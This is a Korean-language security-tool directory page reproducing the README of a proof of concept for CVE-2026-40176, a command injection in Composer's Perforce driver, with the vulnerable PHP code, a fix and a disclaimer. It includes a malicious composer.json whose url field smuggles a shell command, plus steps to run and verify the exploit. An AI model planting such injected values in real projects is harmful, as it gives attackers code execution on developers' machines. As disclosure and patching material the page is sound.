Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40176-poc — # CVE-2026-40176에 대한 개념 증명 — Composer의 Perforce 드라이버에서 OS 명령 주입을 통해 조작된 composer.json으로 원격 코드 실행을 허용하는 취약점 | Kitploit
도구/GitHubGitHub/saku0512/cve-2026-40176-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationPayload Development
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

# CVE-2026-40176에 대한 개념 증명 — Composer의 Perforce 드라이버에서 OS 명령 주입을 통해 조작된 composer.json으로 원격 코드 실행을 허용하는 취약점

저장소 보기
222개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40176: Composer Perforce OS 명령 주입 PoC

영어 버전

개요

이 리포지토리는 Composer의 Perforce VCS 드라이버에 존재하는 중대한 OS 명령 주입 취약점 CVE-2026-40176의 Proof of Concept(PoC)입니다. 이 취약점은 Composer 2.2.27 및 2.9.6 이전 버전에 영향을 미칩니다.

취약점은 Perforce::generateP4Command() 메서드에 존재합니다. 셸 명령을 조립할 때 url, p4user, client 등의 리포지토리 설정 값에 대한 살균이 충분하지 않기 때문에, 공격자가 제어하는 composer.json을 사용하여 피해자가 composer install 또는 composer update를 실행하는 시점에 임의의 명령을 실행할 수 있습니다.

발견자: saku0512 (GitHub)

면책 조항

이 프로젝트는 교육 목적 및 허가된 윤리적인 보안 검증만을 목적으로 합니다.

본 도구의 오용, 손해, 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다. 허가 없이 컴퓨터 시스템에 접근하는 행위는 불법입니다. 이 소프트웨어를 사용하는 경우, 명시적인 허가를 받은 환경에서만 보안 검증을 수행하는 데 동의한 것으로 간주됩니다.

취약점 상세

  • CVE ID: CVE-2026-40176
  • 유형: OS 명령 주입 (CWE-78)
  • 영향: 원격 코드 실행 (RCE)
  • 영향을 받는 버전:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • 수정된 버전: v2.2.27 / v2.9.6

근본 원인

src/Composer/Util/Perforce.php의 generateP4Command() 메서드에서는 리포지토리 설정에서 가져온 문자열을 직접 연결하여 셸 명령을 구성합니다.

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // 에스케이프되지 않음
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // 에스케이프되지 않음
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // 에스케이프되지 않음

이 값들에 ;, &, | 등의 셸 메타 문자를 포함하고 있는 경우 셸에 의해 해석되어 명령 주입으로 이어집니다.

PoC 사용 방법

1. 환경 준비

PHP가 설치되어 있는지 확인하십시오. 이 PoC는 Composer 내부의 취약한 로직을 재현합니다.

root@kitploit:~
# PHP 버전 확인
php -v

2. 설정 예시 (악의적인 composer.json)

공격자는 다음과 같은 composer.json을 생성할 수 있습니다.

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. PoC 실행

포함된 poc.php는 취약한 Composer 버전에서의 내부 명령 생성 및 실행 로직을 재현합니다.

root@kitploit:~
# PoC 실행
php poc.php

4. 검증

페이로드에 의해 생성된 파일이 존재하는지 확인하고, 명령이 실행되었는지 검증합니다.

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

파일이 존재하는 경우, RCE가 성립되었음을 확인할 수 있습니다.

대책

Composer를 즉시 최신 버전으로 업데이트하십시오.

root@kitploit:~
composer self-update

수정에서는 셸에 의한 해석을 방지하기 위해 사용자 입력에서 비롯된 모든 인수에 ProcessExecutor::escape()를 적용합니다.

참고 정보

  • CVE-2026-40176 (cve.org)
  • Composer 보안 권고
도구 다운로드